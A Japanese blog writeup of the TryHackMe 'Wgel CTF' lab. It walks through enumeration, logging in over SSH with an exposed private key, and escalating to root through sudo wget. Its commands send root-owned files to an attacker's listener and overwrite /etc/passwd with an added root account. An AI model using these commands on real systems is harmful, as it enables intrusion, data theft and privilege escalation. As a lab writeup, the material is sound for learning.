はまやんはまやんはまやん

hamayanhamayan's blog

Wgel CTF 解説 (Writeup) [TryHackMe]

f:id:hamayanhamayan:20210527140022p:plain

一部を■で隠しています。

第一段階:ユーザー権限

とりあえずnmapとgobusterしよう

$ export IP=[your IP]
$ nmap -sC -sV $IP
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
$ gobuster dir -e -u http://$IP -w /usr/share/dirb/wordlists/common.txt
http://$IP/sitemap (Status: 301)

ほう。/sitemapというのがあるな。
訪れると無難なサイトが出てくる。
更にディレクトリリスティングしてみよう。

$ gobuster dir -e -u http://$IP/sitemap -w /usr/share/dirb/wordlists/common.txt
http://$IP/sitemap/.ssh (Status: 301)

おお、これは…
もってきて、パスワード解析してみよう。

$ python2 /usr/share/john/ssh2john.py id_rsa > hash.txt
id_rsa has no password!

なるほど?
ユーザー名がわからない。
hydraでは秘密鍵を使ったログインはできないので、それっぽいユーザー名が無いかサイトを散策してみる。

さがすと/<!-- Jessie don't forget to udate the webiste -->とある。
jessieか。

$ ls -la
total 112
drwxr-xr-x 17 jessie jessie 4096 oct 26  2019 .
drwxr-xr-x  3 root   root   4096 oct 26  2019 ..
lrwxrwxrwx  1 root   root      9 oct 26  2019 .bash_history -> /dev/null
-rw-r--r--  1 jessie jessie  220 oct 26  2019 .bash_logout
-rw-r--r--  1 jessie jessie 3771 oct 26  2019 .bashrc
drwx------ 13 jessie jessie 4096 oct 26  2019 .cache
drwx------ 15 jessie jessie 4096 oct 26  2019 .config
drwxr-xr-x  2 jessie jessie 4096 oct 26  2019 Desktop
-rw-r--r--  1 jessie jessie   25 oct 26  2019 .dmrc
drwxr-xr-x  2 jessie jessie 4096 oct 26  2019 Documents
drwxr-xr-x  2 jessie jessie 4096 oct 26  2019 Downloads
-rw-r--r--  1 jessie jessie 8980 oct 26  2019 examples.desktop
drwx------  2 jessie jessie 4096 oct 26  2019 .gconf
drwx------  3 jessie jessie 4096 oct 26  2019 .gnupg
-rw-------  1 jessie jessie  644 oct 26  2019 .ICEauthority
drwx------  3 jessie jessie 4096 oct 26  2019 .local
drwxr-xr-x  5 jessie jessie 4096 oct 26  2019 .mozilla
drwxr-xr-x  2 jessie jessie 4096 oct 26  2019 Music
drwxr-xr-x  2 jessie jessie 4096 oct 26  2019 Pictures
-rw-r--r--  1 jessie jessie  655 oct 26  2019 .profile
drwxr-xr-x  2 jessie jessie 4096 oct 26  2019 Public
drwx------  2 jessie jessie 4096 oct 26  2019 .ssh
-rw-r--r--  1 jessie jessie    0 oct 26  2019 .sudo_as_admin_successful
drwxr-xr-x  2 jessie jessie 4096 oct 26  2019 Templates
drwxr-xr-x  2 jessie jessie 4096 oct 26  2019 Videos
-rw-------  1 jessie jessie   52 oct 26  2019 .Xauthority
-rw-------  1 jessie jessie 1382 oct 26  2019 .xsession-errors
-rw-------  1 jessie jessie 1232 oct 26  2019 .xsession-errors.old
jessie@CorpOne:~$ cd Documents/
jessie@CorpOne:~/Documents$ ls
user_flag.txt
jessie@CorpOne:~/Documents$ cat user_flag.txt
■■■■■■■■■■■■■■■■■■■■■■■■■■

第二段階:権限昇格

$ sudo -l
Matching Defaults entries for jessie on CorpOne:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jessie may run the following commands on CorpOne:
    (ALL : ALL) ALL
    (root) NOPASSWD: /usr/bin/wget

wgetがSUDOで動いているので使えそう。
だが、wget | GTFOBinsを見ても歯切れが悪い。
今までのように一発KOという感じではなさそうだ。

wget on sudo

色々調べると以下のようなことができるらしい。

  • ルート権限でファイルをダウンロードする
    1. 受け取り側でnc -lvp 80で待つ
    2. sudo wget --post-file=[filepath] [送信先]で持ってくる
  • ルート権限でファイルをアップロードできる
    1. 送り側でpython -m http.server 80する
    2. sudo wget -O [保存先パス] http://[your IP]/[送信ファイルパス]

ファイルの場所と名前は推測できるな。/root/root_flag.txtだろう。 実際にやってみると、フラグが得られる。
nc -lvp 80で待ってsudo wget --post-file=/root/toot_flag.txt [your IP]とすると出てくる。

Writeupsを見てみつけたもの

Wgel CTF — TryHackMe. I start by enumerating the target with… | by Stefano Pancioni | Medium
任意のファイルがアップロードできることを利用してユーザーを追加し、root権限を持ったユーザーでログインするというもの。

  1. /etc/passwdを持ってくる(ルート権限でファイルをダウンロードするやつをつかう)
  2. 末尾にflag:$1$flag$ewuvWx1i4md.ReHwJGGGo0:0:0:root:/root:/bin/bashを追加する(パスワード部分はopenssl passwd -1 -salt flagでパスワードをpasswordにして作ったもの)
  3. それを/etc/passwdに入れなおす(ルート権限でファイルをアップロードするやつをつかう)
  4. su flagとして、パスワードをpasswordにするとroot権限でログインできる

なるほどなぁ…